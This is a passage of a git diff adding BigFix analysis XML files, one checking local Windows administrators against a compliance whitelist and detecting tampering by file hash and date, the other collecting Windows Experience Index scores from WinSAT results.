+<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Admins&nbsp;</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD>
+<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 153pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=204>
+<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Name/PWD Age of Admins</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD>
+<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 135pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=180>
+<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Whitelist files Match</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD></TR>
+<TR style="mso-yfti-irow: 1; mso-yfti-lastrow: yes">
+<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 157.25pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=210>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT face=Calibri><FONT size=3><B><SPAN style='mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Compliant:</SPAN></B><SPAN style='mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'> All users in the Administrators group are in the ComplianceWhitelist.txt file</SPAN><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'><o:p></o:p></SPAN></FONT></FONT></P>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT face=Calibri><FONT size=3><B><SPAN style='mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Not-Compliant:</SPAN></B><SPAN style='mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'> There are&nbsp;users in the&nbsp;local Administrators group that are&nbsp;<B><SPAN style="COLOR: red">NOT</SPAN></B> in the ComplianceWhitelist.txt file.</SPAN><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'><o:p></o:p></SPAN></FONT></FONT></P></TD>
+<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 121.5pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=162>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT face=Calibri><FONT size=3><SPAN style='mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>&nbsp;If the status shows Not-Compliant this field will show which users are in the endpoint's local Administrators group that are&nbsp;<B><SPAN style="COLOR: red">NOT</SPAN></B> in the ComplianceWhitelist.txt file.</SPAN><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'><o:p></o:p></SPAN></FONT></FONT></P>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT size=3><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'>&nbsp;</SPAN><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'><o:p></o:p></SPAN></FONT></P></TD>
+<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 153pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=204>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT size=2><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'>Displays the members of local Administrators group as well as the age of the passwords for each of those users.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>This can be useful in determining if any admin-user is violating corporate password policy and creating a potential vulnerability.</SPAN><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD>
+<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 135pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=180>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT size=2><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'>Compares the hash of the ComplianceWhitelist.txt file on that endpoint with the hash of the backup file created by the 'Deploy Whitelist' task.&nbsp; If there is a mismatch then it is likely someone has modified the primary Whitelist file to fool the policy</SPAN><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD></TR></TBODY></TABLE></P>
+<P>
+<TABLE class=MsoNormalTable style="BORDER-TOP: medium none; BORDER-RIGHT: medium none; WIDTH: 566.75pt; BORDER-COLLAPSE: collapse; BORDER-BOTTOM: medium none; BORDER-LEFT: medium none; mso-border-alt: solid windowtext .5pt; mso-yfti-tbllook: 1184; mso-padding-alt: 0in 5.4pt 0in 5.4pt" cellSpacing=0 cellPadding=0 width=756 border=1>
+<TBODY>
+<TR style="mso-yfti-irow: 0; mso-yfti-firstrow: yes">
+<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 130.25pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt" vAlign=top width=174>
+<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Primary File hash</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD>
+<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 148.5pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=198>
+<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Backup File hash</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD>
+<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 153pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=204>
+<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Primary File Date</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD>
+<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 135pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=180>
+<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Backup File Date</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD></TR>
+<TR style="mso-yfti-irow: 1; mso-yfti-lastrow: yes">
+<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 130.25pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=174>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'>The sha1 hash of the primary ‘whitelist’ file.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>A difference between this and the hash on other clients or this client’s backup file likely indicates that someone has made unauthorized changes to this file.<o:p></o:p></SPAN></P></TD>
+<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 148.5pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=198>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'>The sha1 hash of the backup ‘whitelist’ file.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>If someone makes unauthorized changes to the primary whitelist file there will likely be a difference between the hashes of the primary and the backup files. <o:p></o:p></SPAN></P></TD>
+<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 153pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=204>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'>The modification date of the primary whitelist file.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>If the file has a different date than the ‘official’ whitelist file, it will allow an operator to detect that the file on this computer&nbsp;may not be the same as the 'official' version.</SPAN></P></TD>
+<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 135pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=180><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'>The modification date of the backup whitelist file.<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>If the file has a different date than the ‘official’ whitelist file or the primary whitelist file, it will allow an operator to detect that the file(s) on this computer&nbsp;may not be the same as the 'official' version.</SPAN></P></o:p></SPAN></TD></TR></TBODY></TABLE></P>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 18 Sep 2018 04:18:29 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Status">if exists file (parent folder of regapp &quot;besclient.exe&quot; as string &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;) then if number of (elements of (set of ((following texts of firsts &quot;\&quot; of unique values of ((members of local group &quot;Administrators&quot;) as string) as lowercase)) - set of (unique values of (lines of file (parent folder of regapp &quot;besclient.exe&quot; as string &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;))))) = 0 then &quot;Compliant&quot; else &quot;Not-Compliant&quot; else &quot;No Compliance Whitelist on Endpoint&quot;</Property>
+    <Property ID="2" Name="Unauthorized Admins">if exists file (parent folder of regapp &quot;besclient.exe&quot; as string &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;) then &quot;[&quot; &amp; concatenation &quot;] - [&quot; of (elements of (set of ((following texts of firsts &quot;\&quot; of unique values of ((members of local group &quot;Administrators&quot;) as string) as lowercase)) - set of (unique values of (lines of file (parent folder of regapp &quot;besclient.exe&quot; as string &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;))))) &amp; &quot;]&quot; else &quot;No Compliance Whitelist on Endpoint&quot;</Property>
+    <Property ID="3" Name="Whitelist Files Match">if exists file (((data folder of client) as string) &amp; &quot;\__Global\__Download\actionsite\_listbackup.txt&quot;) then if exists file ((parent folder of regapp &quot;BESClient.exe&quot; as string) &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;) then (sha1 of file (((data folder of client) as string) &amp; &quot;\__Global\__Download\actionsite\_listbackup.txt&quot;) = sha1 of file ((parent folder of regapp &quot;BESClient.exe&quot; as string) &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;)) as string else &quot;Primary Whitelist File Missing&quot; else &quot;Whitelist Backup File Missing&quot;</Property>
+    <Property ID="4" Name="Backup File hash" EvaluationPeriod="PT0S">if exists file (((data folder of client) as string) &amp; &quot;\__Global\__Download\actionsite\_listbackup.txt&quot;) then (sha1 of file (((data folder of client) as string) &amp; &quot;\__Global\__Download\actionsite\_listbackup.txt&quot;)) else &quot;Backup Whitelist File Missing&quot;</Property>
+    <Property ID="5" Name="Primary File hash" EvaluationPeriod="PT0S">if exists file ((parent folder of regapp &quot;BESClient.exe&quot; as string) &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;) then sha1 of file ((parent folder of regapp &quot;BESClient.exe&quot; as string) &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;) else &quot;Primary Whitelist File Missing&quot;</Property>
+    <Property ID="6" Name="Primary File Date" EvaluationPeriod="PT0S">if exists file ((parent folder of regapp &quot;BESClient.exe&quot; as string) &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;) then (modification time of file ((parent folder of regapp &quot;BESClient.exe&quot; as string) &amp; &quot;\ComplianceWhitelist\ComplianceWhitelist.txt&quot;)) as string else &quot;Primary Whitelist File Missing&quot;</Property>
+    <Property ID="7" Name="Backup File Date" EvaluationPeriod="PT0S">if exists file (((data folder of client) as string) &amp; &quot;\__Global\__Download\actionsite\_listbackup.txt&quot;) then (modification time of file (((data folder of client) as string) &amp; &quot;\__Global\__Download\actionsite\_listbackup.txt&quot;)) as string else &quot;Backup Whitelist File Missing&quot;</Property>
+    <Property ID="8" Name="Name/Pwd Age of Admins" EvaluationPeriod="P1D">&quot;[&quot; &amp; concatenation &quot;] - [&quot; of (((names of it, password age of it) of users whose (admin privilege of it as string contains &quot;True&quot;)) as string) &amp; &quot;]&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows Experience Index Results - WinVista and later (2994570).bes b/Sites/Windows Management/Fixlets/Analyses/Windows Experience Index Results - WinVista and later (2994570).bes
new file mode 100644
index 000000000..9af68c006
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows Experience Index Results - WinVista and later (2994570).bes	
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows Experience Index Results - WinVista and later
+  ID       : 2994570
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-08-26T09:39:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows Experience Index Results - WinVista and later</Title>
+    <Description><![CDATA[<P>&nbsp;</P>
+<P><A href="https://www.ibm.com/developerworks/community/forums/html/topic?id=77777777-0000-0000-0000-000014780300#77777777-0000-0000-0000-000014956475"><FONT color=#000080>https://www.ibm.com/developerworks/community/forums/html/topic?id=77777777-0000-0000-0000-000014780300#77777777-0000-0000-0000-000014956475</FONT></A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6.0"/* Windows Vista or later */]]></Relevance>
+    <Relevance>exists name whose(it does not contain &quot;Win2008&quot; AND it does not contain &quot;Win2012&quot;) of operating system/* Exclude Windows Server */</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 22 Aug 2013 21:32:40 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="4" Name="Exists WEI results folder?" EvaluationPeriod="P2D">exists folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="5" Name="Num of WEI results xml" EvaluationPeriod="P2D">number of files whose(name of it ends with &quot;.WinSAT.xml&quot;) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="6" Name="names of WEI result files" EvaluationPeriod="P7D">names of files whose(name of it ends with &quot;.WinSAT.xml&quot;) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="8" Name="SystemScores" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/SystemScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/SystemScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="9" Name="CpuScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/CpuScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/CpuScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="10" Name="MemoryScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/MemoryScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/MemoryScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="11" Name="GraphicsScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/GraphicsScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/GraphicsScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="12" Name="GamingScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/GamingScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/GamingScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="13" Name="DiskScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/DiskScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/DiskScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="14" Name="VideoEncodeScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/VideoEncodeScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/VideoEncodeScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="15" Name="CPUSubAggScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/CPUSubAggScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/CPUSubAggScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="16" Name="Dx9SubScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/Dx9SubScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/Dx9SubScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="17" Name="Dx10SubScore" EvaluationPeriod="P2D">(it as floating point) of unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/Dx10SubScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/Dx10SubScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="18" Name="StdDefPlayback" EvaluationPeriod="P2D">unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/StdDefPlaybackScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/StdDefPlaybackScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="19" Name="HighDefPlayback" EvaluationPeriod="P2D">unique values of (it as text) of xpaths &quot;/WinSAT/WinSPR/HighDefPlaybackScore&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/WinSPR/HighDefPlaybackScore&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="20" Name="Run Dates" EvaluationPeriod="P2D">unique values of (preceding text of first &quot;  &quot; of following text of first &quot; &quot; of (it as text) as string) of attributes &quot;Friendly&quot; of xpaths &quot;/WinSAT/SystemEnvironment/ExecDateTOD&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/SystemEnvironment/ExecDateTOD&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="21" Name="HDD Random Read MB/s" EvaluationPeriod="P2D">unique values of (it as text as floating point) of xpaths &quot;/WinSAT/Metrics/DiskMetrics/AvgThroughput[@kind=&apos;Random Read&apos;]&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/Metrics/DiskMetrics/AvgThroughput[@kind=&apos;Random Read&apos;]&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
